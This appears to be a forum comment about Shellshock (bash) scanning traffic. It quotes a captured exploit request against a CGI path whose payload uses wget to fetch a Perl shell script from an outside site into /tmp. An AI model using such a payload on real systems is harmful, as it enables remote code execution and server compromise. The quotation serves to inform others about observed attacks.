The payloads that don't do much of anything are possibly security researchers or white hats trying to get an idea of the scope of the issue and/or get ahead of this. Ex. http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-in...
Request of file: /cgi-sys/defaultwebpage.cgi With wget downloading a perl script to launch a shell: () { :;}; /bin/bash -c \x22/usr/bin/wget http://singlesaints.com/firefile/temp?h=example.com -O /tmp/a.pl\x22
That site is still up and serving right now if anyone wants to take a look.